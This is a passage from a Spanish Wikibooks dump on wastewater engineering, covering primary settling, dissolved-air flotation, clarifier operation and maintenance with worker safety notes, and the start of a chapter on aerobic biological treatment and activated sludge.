Así, cuando el tratamiento de fangos se realiza de forma conjunta con el tratamiento del agua ( caso del proceso de aireación prolongada) no tiene sentido la adopción de la decantación primaria. En caso contrario se extraería al agua los Sólidos Sedimentables en el decantador primario y para su posterior tratamiento se introducirían en el proceso de aireación prolongada, lo cual equivale a introducir en este proceso el A.R. bruta.

Por otra parte, cuando el tratamiento de fangos es independiente del agua, pero de tipo aerobio, es decir similar al tratamiento biológico del agua, no parece que se consiga ningún ahorro con la decantación primaria. En general, serán de esperar menores problemas de explotación del tratamiento biológico, pero en el caso de que éste no funcionase, verteríamos agua decantada en lugar dé agua bruta caso de tener la decantación primaria

Dentro de la aplicabilidad de la decantación primaria hay que tener en cuenta que generalmente constituye un elemento básico del tratamiento físico-químico.
CARDOSO LANDA

===4. LA FLOTACIÓN POR AIRE DISUELTO===

====4.1. Concepto====

La flotación por aire disuelto además de eliminar materia sólida y/o líquidas de densidad inferior a la del agua, es capaz de eliminar sólidas de densidad superior.

El proceso FAD consiste en la creación de microburbujas de aire en el seno del A.R., las cuales se unen a las partículas a eliminar formando agregados capaces de flotar por tener una densidad inferior a la del agua.

Por tanto, se puede decir que el objetivo de este proceso en el tratamiento primario es doble: reducción de materias flotantes y reducción de SS.

====4.2. Tipos de procesos aplicables====

La creación de burbujas en el proceso FAD, se realiza a través de los siguientes pasos:
* Presurización de un flujo de agua
* Disolución de aire en dicho flujo, sobresaturándolo, respecto a condiciones normales de presión
* Despresurización a presión atmosférica, con lo que el exceso disuelto por encima del de saturación se libera en forma de microburbujas

Los distintos tipos de procesos que existen, son:
* FADT ( de flujo total): Se sobresatura todo el caudal.
* FADP ( de flujo parcial):  Se sobresatura una parte del caudal.
* FADR (de flujo recirculado): Se sobresatura agua ya tratada por el proceso (efluente)

Cada uno de ellos tiene sus ventajas e inconvenientes. Así, mientras que el FADR utiliza un flujo de agua tratada, con lo que optimiza el diseño y el mantenimiento del sistema de presurización-sobresaturación, aumenta el caudal a tratar, por lo que aumenta las dimensiones del sistema de flotación.

====4.3.Parámetros de diseño====

Tasa de Presurización: Es el porcentaje de flujo presurizado respecto al Q de agua bruta a tratar.

====4.4. Aplicabilidad====
*En el caso de incidencia importante de vertidos industriales no tratados         ( refinerías, papeleras, pinturas, conserva de carnes, laminación...)
*Cuando el vertido se realiza al mar puede llegar a hacer cumplir las limitaciones del vertido sin necesidad de tratamiento biológico.
*Dada su gran versatilidad de funcionamiento, puede ser muy útil en los casos de grandes variaciones de vertido según temporadas.
*El espesamiento del exceso de fangos activos del tratamiento biológico puede obviarse realizándose en el mismo FAD.

 
===5.  EL PROCESO MIXTO DECANTACIÓN-FLOTACIÓN===

El rendimiento del proceso de FAD para bajas concentraciones de SS depende entre otros factores de la formación de un buen enlace partícula-burbuja de aire. Así, habrá partículas que no son flotantes y que ó sedimentarán en el flotador ( depósito de flotación) ó bien se irán con el efluente. Para evitar este problema aparece el decantador-flotador, consistente en un decantador primario convencional en cuyo interior se ubica el flotador. El proceso se completa con el sistema de presurización-sobresaturación típico del proceso FAD.

 
===6. Operación y mantenimiento. ===

El agua residual bruta contiene algunas sustancias capaces de sedimentarse en el fondo o flotar en la superficie, si la velocidad del agua llega a ser suficiente baja. Los tanques de sedimentación (decantadores) disminuyen la velocidad de las aguas residuales para que se produzcan los fenómenos de flotación y sedimentación.

Una estación depuradora tipo puede tener decantadores situados en dos puntos diferentes. El que se encuentra justo a continuación del desarenador- desengresador se llama decantador primario. El otro, que va detrás del proceso biológico, se llama decantador secundario. La razón de tener dos, es que el proceso de tratamiento biológico trasforma los sólidos disueltos y coloidales en sólidos sedimentables, y estos deben eliminarse de las aguas residuales tratadas.

La principal diferencia entre los dos tipos de decantadores reside en la densidad de fangos producidos. Los fangos primarios son por lo general más densos que los secundarios. El efluente de un decantador secundario es normalmente más limpio que el efluente de un decantador primario.

Los sólidos que se sedimentan en el fondo de un decantador son arrastrados hacia un extremo ( en los decantadores rectangulares) o hacia el centro ( en los decantadores circulares) e introducidos en un pozo de recogida. Desde este pozo se bombean a los sistemas de tratamiento y evacuación de fangos.

Este capitulo tiene información sobre puesta en servicio, operación diaria y procedimientos de mantenimiento, problemas que hay que tener en cuenta y seguridad.

Antes de poner en servicio por primera vez un decantador o después de haber estado fuera de funcionamiento por limpieza o reparación, se debe inspeccionar con cuidado el tanque en la forma descrita en este punto. Es una buena ocasión para familiarizarse con el funcionamiento interno del decantador, ya que habitualmente esta lleno de agua.

=====Decantadores circulares=====

Compruebe los siguientes puntos:
* El buen funcionamiento de las compuertas de regulación.
* Que el tanque esta libre de arenas y basuras.
* La lubricación, alineación del motor y montaje en general del mecanismo motor del sistema colector de fangos y flotantes.
* El mantenimiento de la distancia apropiada desde el suelo del tanque a las rasquetas del colector.
* El estado de limpieza de los pozos de recogida y de las tuberías de salida.

Si todo esta a punto, conecte el mecanismo colector y déjelo girar, mientras compruebe que las rasquetas ni se reparan del fondo ni lo rapan. La acción de barrido debe cubrir toda la superficie del fondo, desde la pared exterior hasta el pozo de recogida de lodos. Asegúrese también de que el mecanismo funciona suavemente, sin tirones ni saltos. Si el equipo esta lubricado por agua, compruebe que hay cantidad suficiente en el tanque para cubrir el cojinete central.
* Si el equipo esta dotado de alarma y/o parada por sobrecarga compruébala. Cronometre el tiempo que tardan las rasquetas en dar una vuelta completa alrededor del tanque, y regístrelo para posterior comprobación.
* Compruebe el amperaje que toma el motor, y regístrelo. Deje que el motor funcione durante varias horas, para comprobar que no surgen problemas.

=====Decantadores rectangulares. =====

	Los pozos de recogida de fangos, canales, compuertas de control y vertederos, deben comprobarse de la misma forma que en los decantadores circulares. El sistema colector de fangos es distinto en los decantadores rectangulares. Las rasquetas de madera se colocan transversales al tanque y cada extremo de la rasqueta se une a una cadena sin fin situada a lo largo del lateral de aquel. Estas cadenas se mueven por ruedas dentadas y arrastran las rasquetas que van guiadas por raíles embutidos en el suelo y en los laterales del tanque.

Cada rasqueta de madera lleva unas piezas rozantes  metálicas que se deslizan sobre raíles.

Asegúrese de que las rasquetas están perfectamente transversales al tanque y de que las cadenas no va uno o dos eslabones adelantado o retrasada con respecto a la otra. Si ocurre esto, las rasquetas de madera cruzaran el tanque en ángulo, apilando los fangos a más altura en el lado de arrastre.

Si el colector de fangos ha permanecido parado durante algunas semanas en un decantador vació, deben tomarse precauciones antes de ponerlo en funcionamiento, porque pueden haber comenzado  a oxidarse las piezas metálicas rozantes en los puntos de contacto con los raíles. Es por tanto recomendable quitar cada rasqueta del raíl para asegurarse de que no esta agarrotada y aplicar a las piezas rozantes y al raíl una grasa ligera o aceite. Si no se toman estas precauciones, las rasquetas podrían quedar adheridas a los raíles y provocar la caída de todo el sistema de recogida al fondo del tanque cuando se conectara el colector. Cuando se pone en marcha el sistema colector por primera vez, debe comprobarse en cada rasqueta que la separación entre su extremo y la pared es de 2.5 a 5 cm. Esta separación evita el roce con la pared del tanque y la posible rotura de alguna rasqueta que obstruirá al movimiento de las demás, rompiéndolas a su vez. Cuando se encuentre una rasqueta rota hay que sustituirla o retirarla de las cadenas.

====6.1. Operación y mantenimiento diarios. ====

Entre las operaciones normales, hay que programar las siguientes actividades diarias:
*inspección: realice inspecciones rutinarias frecuentes deteniéndose a mirar, a escuchar y a pensar.

*lavado:  retire con agua a presión las acumulaciones de partículas sólidas, grasa, fangos y otras materias de los lugares de paso, barandillas y demás partes visibles de las estructuras y equipos.
* lubricación: engrasar todo el equipo móvil siguiendo las instrucciones del fabricante y compruebe los niveles de aceite en los motores que lo tengan.
* mantenimiento preventivo: siga las instrucciones del fabricante.
* rasquetas: examine los pernos por si hay alguno suelto o corroído.
* cadena y ruedas dentadas: compruebe el desgaste porque 1.5 mm de desgaste en cada uno, supone en 400 eslabones, unos 60 cm más de longitud en la cadena.
* registro de datos: escriba en su cuaderno de notas todas las observaciones de cosas anormales, y traslade esas notas a los partes de control de la instalación.
* Bombeo de fangos y flotantes: se vera en un punto posterior.

===7. MEDIDAS A TOMAR ANTE UN RENDIMIENTO BAJO DEL DECANTADOR.===

Si los análisis del laboratorio o la inspección visual indican que un decantador no esta dando el rendimiento adecuado, hay que identificar la causa del problema y tomar las medidas correctoras pertinentes.

=====Problema =====

{| border=1  

|Montones de flotantes de fangos.

|| 1,2,3,4,5

|--------------

|Grandes cantidades de flotantes.

|| 2.3*,2.4*,2.5*

|--------------

|Perdidas de sólidos por los vertederos del efluente.

||1,2,3,4,5,2.7*,2.8*

|--------------

|Rendimiento de eliminación bajos.

|--------------

|pH bajo y malos olores.

||5

|--------------

|manto profundo de fangos, 

pero bombeo de fangospoco densos

||1,2,3,4,5,6

|--------------

|El mecanismo de fangos da tirones o saltos. 

||3,2.1*, 2.2*,2.3*,2.6*

|--------------

|El mecanismo colector de fangos no funciona.

||6

|--------------

|las protecciones térmicas o de sobreintensidad 
del motor se disparan continuamente

||6

|}

* El punto a comprobar número 2 esta dividido en dos partes, a) para decantadores circulares y b) para decantadores rectangulares.

# Bomba de fangos
## Bombas de pistón
### Asiento de válvula de retención.
### Bulón.
### Ajuste de la empaquetadura.
###Correas de transmisión.
###Válvulas de seguridad.
###Tiempo de bombeo.
## Bombas de desplazamiento positivo.
###Aire acumulado en la bomba.
###El rotor obturado.
###Correa de transmisión.
###Ajuste de la empaquetadura.
###Tiempo de bombeo.
## Bombas centrifugas
###Aire acumulado en la bomba.
###Ajuste de la empaquetadura
###Rodete obturado.
###Tiempo de bombeo.
## Inyector de aire.
###Suministro de aire.
###Válvulas de pie.
###Válvulas de cierre.
###Electrodos.
###Tiempo de bombeo.
# Mecanismo de recogida
## Decantador circular.
###Motor de arrastre.
###Desconectador por sobrecarga.
###Rasqueta de recogida de flotantes.
###* funcionamiento
###* plancha de goma
### Trampa de salida de flotantes.
###Caja de flotantes.
## decantador rectangular. 
###Motor de arrastre.
### Embrague.
###Rasquetas.
###Trampa de salida de flotantes.
###Rasqueta de flotantes.
###Colector transversal.
###Tubería o canal de entrada.
###Deflector de entrada.
#tuberías y sumidero de fangos
##A veces las tuberías y sumidero pueden lavarse a contracorriente
# calidad del sobrenadante de retorno del digestor
#influente
## cambio en su composición o temperatura.
##. cambio de caudal.
# el mecanismo de recogida da saltos, vibra o se atasca
## manto de fangos demasiado grande: Bombear fuera los fangos, si el mecanismo funciona bien.
## el mecanismo de arrastre tiene un diente o un eslabón roto
## rasqueta rota, o una piedra o un palo atascado entre la rasqueta y el suelo o entre la goma de arrastre de fangos y el suelo

Si ocurre (b) o (c), o el mecanismo no funciona adecuadamente, hay que desaguar el tanque. No hay que intentar levantar o empujar el mecanismo de recogida porque puede dañarse seriamente el equipo.

La acción correctora debe depender de la naturaleza del problema, así como de las facilidades con que cuenta la instalación.

===8. BOMBEOS DE FANGOS Y FLOTANTES. ===

Las partículas que sedimentan en el fondo del decantador forman los fangos. El fango acumulado hay que quitarlo con frecuencia, y esto se hace en la mayoría de los casos por medio de bombas u otro sistema de limpieza mecanizada. Los tanques de limpieza mecanizada no necesitan ponerse fuera de servicio para su limpieza. En los decantadores primarios se pueden desarrollar rápidamente condiciones sépticas si el fango no se extrae a intervalos regulares. El intervalo más adecuado depende de muchas circunstancias y puede variar desde 30 minutos a 8 horas, y en algunos casos hasta incluso24 horas. La experiencia será la que dicte la frecuencia de extracción más apropiada. La septicidad de los fangos se puede reconocer cuando la gasificación de los fangos hace que floten en la superficie del agua grandes aglomeraciones de ellos. El fango séptico es generalmente maloliente y ácido.

Si es posible, hay que eliminar el exceso de agua de los lodos a causa de sus efectos sobre el volumen de fango bombeado y sobre la operación del digestor. Un fango primario bien espesado contendrá de 4% a 8% de sólidos secos. Las condiciones que puedan afectar a la concentración de los fangos son la densidad especifica, el tamaño y forma de la partícula, y la temperatura y la turbulencia en el tanque.

Los caudales de extracción deben ser bajos, con objeto de impedir la salida de demasiada agua con el fango. Mientras se bombea el fango, hay que tomar a menudo muestras y examinarlas a simple vista  para ver si hay exceso de agua. Si las muestras dan un fango de poca densidad hay que detener el bombeo. Aprenda con la practica a distinguir entre fangos ligeros y espesos. Hay varios métodos para determinar si un fango es espeso o ligero sin análisis de laboratorio.

1. Sonido de la bomba de fangos. Esta tiene normalmente un sonido diferente cuando el fango es espeso de cuando es ligero.

2. Lecturas de la presión. La presión de descarga de la bomba es mayor cuando el fango es espeso.

3. Lecturas de la densidad del fango.

4. Observación visual de una cantidad pequeña (3 litros o menos).

5. Observar el fango cuando se bombea, a través de una mirilla de cristal en la tubería de fangos.

Cuando aprenda a usar los indicadores mencionados, deberá compararlos frecuentemente con las pruebas de laboratorio. El análisis de sólidos totales del laboratorio es el único método seguro de determinar la densidad especifica. Sin embargo, este proceso analítico es demasiado lento para controlar una operación rutinaria de bombeo.

Los decantadores primarios tienen a menudo una zona de acumulación de los flotantes, de donde son retirados por medios mecánicos, utilice herramientas de mano, tales como una espumadera adosada a un mango de escoba.

Compruebe con frecuencia el canalillo de recogida para asegurarse de que funciona debidamente. Limpie la arqueta y agua caliente.

 
===9. Mantenimiento general. ===

En este punto se dan algunas sugerencias que pueden serles útiles para mantener los decantadores funcionado adecuadamente.

1. Organice y mantenga ordenada un sistema de archivo para consultas posteriores. Este archivo debe contener unas fichas para anotar la descripción y fecha de todas las reparaciones y actividades de mantenimiento, incluidas las rutinarias como la lubricación. También se deben guardar en el archivo los manuales de instrucciones de operación y mantenimiento, catálogos, nombres, direcciones y números de teléfono de los representantes de los fabricantes.

2. Lubrique siempre el equipo con os intervalos recomendados por el fabricante, y use los lubricantes adecuados ( siga las instrucciones del fabricante). Es muy importante que no engrase en exceso.

3. Limpie todo el equipo y estructuras con regularidad

4. Observe y corrija (si es posible) todos los ruidos peculiares, perdidas, irregularidades de presión y vacío, correas de transmisión, sistemas eléctricos y dispositivos de seguridad.

5.Cuando haya que vaciar un decantador para hacer una inspección o reparación, mantenga húmedas las rasquetas de  madera por medio de riegos periódicos con una manguera, para evitar se agrieten y curven.

6. Seguridad.

1.gases.

Cualquier zona cerrada, como un pozo húmedo para bomba, puede tener gases venenosos, asfixiantes o explosivos acumulados, si la ventilación no es suficiente. Los gases más corrientes son: 

a. El sulfhídrico. Hule a huevo podrido. Se combina fácilmente con el oxigeno para producir ácido sulfúrico. Puede paralizar al aparato respiratorio.

b. El cloro. Es irritante para los ojos, la boca y la nariz. Ocasiona la muerte por asfixia y por formación de ácido en los pulmones.

c. El anhídrido carbónico. Inodoro, insípido. Puede causar la asfixia indirectamente al sustituir al oxígeno, en lugar cerrado y poco ventilado.

d. El monóxido de carbono. Inodoro, no irritante, inflamable, explosivo. Vigile la existencia de monóxido de carbono cerca de los motores de gas o los sistemas de gas con perdidas en lugares de excava ventilación. 

e. La gasolina y otros derivados del petróleo. Pueden dar lugar a fuegos y causas asfixias.

f. El metano. Explosivo, inodoro (estado puro) y asfixiante. 

2. caídas.

a. Limpiando rápidamente las manchas resbaladizas de grasa y aceite en las zonas de paso.

b. Andando, no corriendo, por las proximidades de los decantadores.

c. Evitando el desorden. recoja y coloque las mangueras, cuerdas, cables, herramientas, cubos, tablas, etc.

d. No sentándose en las barandillas, ni saltando por encina, o colgándose de ellas.

3. peligro de ahogarse.

para luchar contra este peligro:

a. Tenga a mano salvavidas, cuerdas o tubos de inmersión, para echárselos a cualquiera que se caiga. Siempre que sea necesario se debe llevar puesto el equipo apropiado.

4. esfuerzos inútiles.

utilice las llaves o herramientas apropiadas:

a. para mover las válvulas agarrotadas.

b. para levantar pesados.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Tratamiento físico-químico
 |actual=Tratamiento primario
 |siguiente=Procesos biológicos aerobios
}}

{{AutoCat}}</text>
      <sha1>3o04q52lyna01wru3fk7cc935b6oeuf</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Procesos biológicos aerobios</title>
    <ns>0</ns>
    <id>12671</id>
    <revision>
      <id>429965</id>
      <parentid>370914</parentid>
      <timestamp>2026-08-02T09:29:22Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429965</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="44021" sha1="385q78xoy4v8da7ai7paufk0yu0o6og" xml:space="preserve">'''PROCESOS BIOLÓGICOS AEROBIOS'''
http://es.wikibooks.org/wiki/Ingenier%C3%ADa_de_aguas_residuales/Procesos_biol%C3%B3gicos_aerobios
==1. INTRODUCCIÓN==

Cuando las aguas residuales entran en una Estación Depuradora, sufren un pretratamiento en el que se retiran los sólidos y gruesos de gran tamaño, así como las arenas y grasas. A continuación, el agua pasa al denominado tratamiento primario, donde se eliminan sólidos en suspensión fácilmente sedimentables y algo de materia orgánica.

La materia orgánica que queda disuelta y en suspensión así como el resto de las partículas sólidas que no se han eliminado en los tratamientos anteriores, son eliminadas mediante los denominados “Procesos Biológicos de Depuración Aerobia”, que en la línea de aguas constituyen los tratamientos secundarios.

Podemos definir los “Procesos Biológicos de Depuración Aerobia”, como aquellos realizados por determinado grupo de microorganismos (principalmente bacterias y protozoos) que en presencia de Oxígeno, actúan sobre la materia orgánica e inorgánica disuelta, suspendida y coloidal existente en el agua residual, transformándola en gases y materia celular, que puede separarse fácilmente mediante sedimentación. La unión de materia orgánica, bacterias y sustancias minerales forma los flóculos y el conjunto de flóculos es lo que todos conocemos como fango biológico.

Los objetivos que persigue este tipo de tratamiento son la transformación de la materia orgánica y la coagulación y eliminación de los sólidos coloidales no sedimentables. En el caso de algunas aguas residuales urbanas, también se persigue la eliminación de Nitrógeno y de Fósforo. Por último, conseguimos además la disminución de los microorganismos patógenos y fecales que habitan el agua residual.

Básicamente, existen dos tipos de tratamientos biológicos aerobios:

* Procesos de Cultivo en Suspensión (Fangos Activados).

* Procesos de Cultivo Fijo (Lechos Bacterianos).

En este capítulo, nos vamos a centrar en como suceden los mecanismos de depuración biológica aerobia y más concretamente en el proceso de Fangos Activos, siendo los Lechos Bacterianos objeto del capítulo siguiente.

==2. FUNDAMENTOS DE LOS PROCESOS BIOLÓGICOS AEROBIOS==

===2.1. Los procesos de oxidación biológica===

La oxidación biológica es el mecanismo mediante el cual los microorganismos degradan la materia orgánica contaminante del agua residual. De esta forma, estos microorganismos se alimentan de dicha materia orgánica en presencia de oxígeno y nutrientes, de acuerdo con la siguiente reacción:

Materia orgánica + Microorganismos + Nutrientes + O2=&gt;

&gt;Productos Finales + Nuevos microorganismos + Energía

Para que lo anteriormente expuesto se produzca, son necesarias dos tipos de reacciones fundamentales totalmente acopladas: de síntesis o asimilación y de respiración endógena u oxidación.

====2.1.1. Reacciones de síntesis o asimilación====

Consisten en la incorporación del alimento (materia orgánica y nutrientes) al interior de los microorganismos. Estos microorganismos al obtener suficiente alimento no engordan, sino que forman nuevos microorganismos reproduciéndose rápidamente. Parte de este alimento es utilizado como fuente de Energía. La reacción que ocurre es la siguiente:

CHNO (materia orgánica) + O2 + Bacterias + Energía ==&gt;

C5H7NO2 (sustancias del interior bacteriano)

====2.1.2. Reacciones de oxidación y Respiración endógena====

Los microorganismos al igual que nosotros, necesitan de Energía para poder realizar sus funciones vitales (movimiento, reproducción, síntesis de biomoléculas etc), dicha energía la obtienen transformando la materia orgánica asimilada y aquella acumulada en forma de sustancias de reserva en gases, agua y nuevos productos de acuerdo con la siguiente reacción:

C5H7NO2 (material celular) + 5O2 ==&gt; 5CO2 + 2H2O + NH3 + Energía

Como podemos observar, después de un tiempo de contacto suficiente entre la materia orgánica del agua residual y los microorganismos (bacterias), la materia orgánica del medio disminuye considerablemente transformándose en nuevas células, gases y otros productos. 

A todo este conjunto de reacciones se les denomina de oxidación biológica, porque los microorganismos necesitan de oxígeno para realizarlas.

Dado que las reacciones de carácter aeróbico contribuyen a la generación de una gran cantidad de energía en forma de ATP, las células microbianas tienden a aumentar su concentración considerablemente, y en consecuencia aumenta la tasa de formación del Floc biológico.

===2.2. Factores que intervienen en la oxidación biológica===

Los factores principales que hay que tener en cuenta para que se produzcan las reacciones biológicas y por tanto, la depuración del agua residual son:

====Las características del sustrato====

las características físico-químicas del agua residual, determinan el mejor o peor desarrollo de los microorganismos en este sistema, existiendo compuestos contaminantes que son degradables biológicamente y otros que no lo son.

====Los nutrientes====

El interior celular, aparte de C, H y O, elementos característicos de la materia orgánica, contiene otros elementos como son el N, P, S, Ca, Mg e.t.c., denominados nutrientes y que a pesar de que muchos de ellos se encuentran en el organismo sólo en pequeñas cantidades, son fundamentales para el desarrollo de la síntesis biológica. 

Se ha determinado a nivel medio que los microorganismos para sobrevivir necesitan por cada 1000 g. de C, 43 de N y 6 de P, y que en las aguas residuales urbanas existen por cada 1000 g. de C, 200 g. de N y 16 g. de P.

Si comparamos lo que necesitan los microorganismos para sobrevivir, con las cantidades existentes de dichos elementos en el agua residual, podemos concluir que a título general dichos microorganismos pueden desarrollarse en el agua residual perfectamente.

Es interesante comentar que en el caso de determinadas aguas con vertidos industriales, las proporciones de dichos elementos no están equilibradas, siendo necesario a veces dosificar N y P en el agua, para que pueda darse el desarrollo bacteriano y exista depuración biológica.

‘’’Aportación de Oxígeno: ‘‘‘

Como hemos visto, para el desarrollo de las reacciones biológicas es necesario un medio aerobio, es decir, con oxígeno suficiente que permita el desarrollo y la respiración de los microorganismos aerobios.

‘’’Temperatura: ‘‘‘

A medida que aumenta la Temperatura, aumenta la velocidad con que los microorganismos degradan la materia orgánica, pero a partir de los 37oC, dichos organismos mueren. Nuestras temperaturas son ideales para el desarrollo óptimo de los procesos de depuración biológica.

‘’’Salinidad: ‘‘‘

El contenido en sales disueltas no suele ser problemático para el desarrollo bacteriano en el proceso de fangos activos hasta concentraciones de 3 a 4 g/L. En los procesos de cultivos fijos (lechos bacterianos), la influencia es aún menor, no afectando valores que no superen los 15 g/L. Sin embargo, existen multitud de grupos bacterianos capaces de vivir en aguas saladas, de forma que si a tu sistema de depuración le das tiempo de adaptación, pueden desarrollarse bastante bien dichos grupos microbianos a concentraciones salinas superiores. En este sentido, la E.D.A.R. de El Rompido que funciona mediante tratamiento biológico por Fangos Activos, tiene un rendimiento excelente con aguas residuales de elevada salinidad.

‘’’Tóxicos o inhibidores: ‘‘‘

Existen una serie de sustancias orgánicas e inorgánicas que, a ciertas concentraciones, inhiben o impiden los procesos biológicos. Este tipo de sustancias, entre las que se encuentran los metales pesados, ejercen un efecto perjudicial sobre los microorganismos encargados de depurar el agua y por tanto, no deben de entrar en las plantas depuradoras con el agua residual, o si entran deben de hacerlo en concentraciones muy bajas.

Todos estos factores mencionados son de gran importancia, y deben de ser controlados si queremos obtener un rendimiento eficaz de depuración por parte de los microorganismos encargados de degradar la materia orgánica del agua residual.

===2.3. Los procesos de Nitrificación-Desnitrificación===

Son procesos llevados a cabo por determinados grupos de microorganismos bacterianos que se utilizan en aquellas plantas de tratamiento de aguas residuales, donde aparte de la eliminación de la materia orgánica se persigue la eliminación de nitrógeno.

La eliminación de la materia nitrogenada es necesaria cuando el efluente de la E.D.A.R. va a ir bien a embalses o masas de agua utilizadas para captación de aguas potables, bien a las denominadas por ley como zonas sensibles.

====2.3.1. El proceso de Nitrificación====

La nitrificación es el proceso en el que el nitrógeno orgánico y amoniacal se oxida, transformándose primero en nitrito y, posteriormente en nitrato.

Estas reacciones las llevan a cabo bacterias muy especializadas, diferentes de aquellas que se encargan de degradar la materia orgánica del medio.

Este tipo de bacterias, se reproducen mas lentamente y son muy sensibles a los cambios de su medio habitual.

A su vez, necesitan de un aporte de Oxígeno suplementario para que sean capaces de desarrollar las reacciones anteriormente mencionadas, de esta forma en las cubas de aireación de fangos activados necesitan de un nivel de oxígeno de al menos 2 mg/L.

====2.3.2. El proceso de desnitrificación====

La desnitrificación consiste en el paso de los nitratos a nitrógeno atmosférico, por la acción de un grupo de bacterias llamadas desnitrificantes. Dicha forma de nitrógeno tenderá a salir a la atmósfera, consiguiéndose así, la eliminación de nitrógeno en el agua.

Para que las bacterias desnitrificantes actúen, es necesario que el agua tenga bastante carga de materia orgánica, una fuente de nitratos elevada, muy poco oxígeno libre y un pH situado entre 7 y 8.

El oxígeno asociado a los nitratos es la única fuente de oxígeno necesaria para llevar a cabo sus funciones vitales. De esta forma los niveles de oxígeno libre en el medio donde actúan deben de ser inferiores a los 0,2 mg/L.

Es interesante comentar que el tiempo mínimo de contacto entre el agua y las bacterias desnitrificantes debe de ser suficiente para que se produzcan las reacciones deseadas, estimándose un tiempo mínimo de 1,5 horas a caudal medio.

==3. EL PROCESO DE FANGOS ACTIVADOS==

El proceso de fangos activados es un sistema de tratamiento de las aguas residuales en el que se mantiene un cultivo biológico formado por diversos tipos de microorganismos y el agua residual a tratar. Los microorganismos se alimentarán de las sustancias que lleva el agua residual para generar mas microorganismos y en el proceso se forman unas partículas fácilmente decantables que se denominan flóculos y que en conjunto constituyen los denominados fangos activos o biológicos.

===3.1. Principios de funcionamiento===

En el proceso de fangos activados pueden distinguirse dos operaciones claramente diferenciadas: la oxidación biológica y la separación sólido-líquido.

La primera tiene lugar en el denominado reactor biológico o cuba de aireación, donde vamos a mantener el cultivo biológico en contacto con el agua residual. El cultivo biológico, denominado licor de mezcla, está formado por gran número de microorganismos agrupados en flóculos conjuntamente con materia orgánica y sustancias minerales. Dichos microorganismos transforman la materia orgánica mediante las reacciones de oxidación biológica anteriormente mencionadas.

La población de microorganismos debe de mantenerse a un determinado nivel, concentración de sólidos en suspensión en el licor de mezcla (SSLM), para llegar a un equilibrio entre la carga orgánica a eliminar y la cantidad de microorganismos necesarios para que se elimine dicha carga.

En esta fase del proceso que ocurre en la cuba de aireación, es necesario un sistema de aireación y agitación, que provoque el oxígeno necesario para la acción depuradora de las bacterias aerobias, que permita la homogenización de la cuba y por tanto que todo el alimento llegue igual a todos los organismos y que evite la sedimentación de los flóculos y el fango.

Una vez que la materia orgánica ha sido suficientemente oxidada, lo que requiere un tiempo de retención del agua en el reactor, el licor mezcla pasará al denominado decantador secundario o clarificador. Aquí, el agua con fango se deja reposar y por tanto, los fangos floculados tienden a sedimentarse, consiguiéndose separar el agua clarificada de los fangos. 

El agua clarificada constituye el efluente que se vierte al cauce y parte de los fangos floculados son recirculados de nuevo al reactor biológico para mantener en el mismo una concentración suficiente de organismos. El excedente de fangos, se extrae del sistema y se evacua hacia el tratamiento de fangos.

===3.2. Control de procesos en el sistema de fangos activados===

===3.2.1. Parámetros operacionales===

Son una serie de parámetros que se han de tener en cuenta a la hora de diseñar la cuba de aireación y el clarificador, siendo a su vez controlados para mantener un óptimo funcionamiento de la planta. Dichos parámetros son:

‘’’Carga másica‘‘‘

Es la relación que existe entre la carga de materia orgánica que entra en el reactor biológico por unidad de tiempo, y la masa de microorganismos existentes en el mismo. Se expresa como:

Cm = Q * So / V * X

Q = caudal; So = D.B.O.5 de entrada; V = volumen; X = sólidos en suspensión volátiles del licor de mezcla (SSV) de la cuba de aireación.

‘’’Edad del fango ‘‘‘

Es la relación entre la masa de fangos existentes en la cuba de aireación y la masa de fangos en exceso extraídos por unidad de tiempo. Se expresa como:

E = V * X / Qp * Xp

Qp = caudal de la purga de fangos; Xp = SSV de la purga de fangos (fangos en exceso).


‘’’Carga volumétrica ‘‘‘

Es la relación entre la masa de materia orgánica que entra en el reactor por unidad de tiempo, y el volumen de la cuba. Se expresa como:

Cv = Q * So / V’‘‘

‘’’Rendimiento ‘‘‘

Es la relación que existe entre la masa de materia orgánica eliminada y la del influente que entra en el reactor biológico. Se expresa en %.

R = So - S / So

S = D.B.O.5 de la salida del decantador secundario.

===3.2.2. Parámetros de control===

Existen una serie de variables que hay que controlar para asegurarnos de que el proceso de fangos activos funciona bien. Entre estas variables se encuentran:

‘’’La calidad exigida al efluente: ‘‘‘

La calidad que las autoridades exijan al agua de salida, va a determinar tanto el funcionamiento del proceso como el control del mismo. Si se requiere un alto grado de tratamiento, el proceso deberá estar muy controlado y probablemente se requiera de un tratamiento adicional. Dicha calidad deberá ser determinada a través de las analíticas realizadas por el laboratorio. 

‘’’Características del agua residual a tratar: ‘‘‘

Los caudales y características del afluente, se encuentran fuera del campo de actuación del operador, siendo competencia del laboratorio y de las autoridades municipales que controlan los residuos que se vierten en el sistema colector, evitando que determinadas industrias viertan residuos tóxicos para los microorganismos que trabajan en la cuba de aireación.

‘’’Cantidad de microorganismos activos que se necesitan en el tratamiento: ‘‘‘

La proporción entre la cantidad de microorganismos activos y el alimento disponible, es un parámetro decisivo en el control del proceso. Si esta proporción no es equilibrada, aparecerán serios problemas en planta. El número de organismos aumenta también al aumentar la carga de materia orgánica (alimento) y el tiempo de permanencia en la cuba de aireación (edad del fango). El operador deberá eliminar el exceso de microorganismos (fangos en exceso o purga de fangos) para mantener el número óptimo de trabajadores para el tratamiento eficaz de las aguas.

Por otra parte, es fundamental proceder a una recirculación de fangos desde el decantador hasta la cuba de aireación, para mantener una concentración de organismos suficiente, ya que si no se irían eliminando y se acabaría con un lavado del tanque.

El fango del decantador debe extraerse tan pronto como se forme la manta de fangos, ya que de permanecer en él, pueden darse fenómenos que hagan que el fango flote. El sistema de bombeo de fangos, por tanto, debe encontrarse en condiciones óptimas para actuar cuando se le necesite.

Para conocer la concentración de microorganismos del licor de mezcla y de los fangos de recirculación, se determinará el nivel de sólidos volátiles en ambos.

‘’’Nivel de Oxígeno disuelto: ‘‘‘

El oxígeno que se aporte a la cuba de aireación debe de ser suficiente para que, los microorganismos puedan respirar y se pueda oxidar la materia orgánica.

La relación cantidad de oxígeno / cantidad de alimento debe estar regulada y mantenerse estable. Una descompensación en un sentido o en otro, puede dar lugar a una aparición de organismos filamentosos que tienden a flotar en el decantador secundario, alterando totalmente la separación sólido-líquido y tendiendo a ser lavados con el efluente.

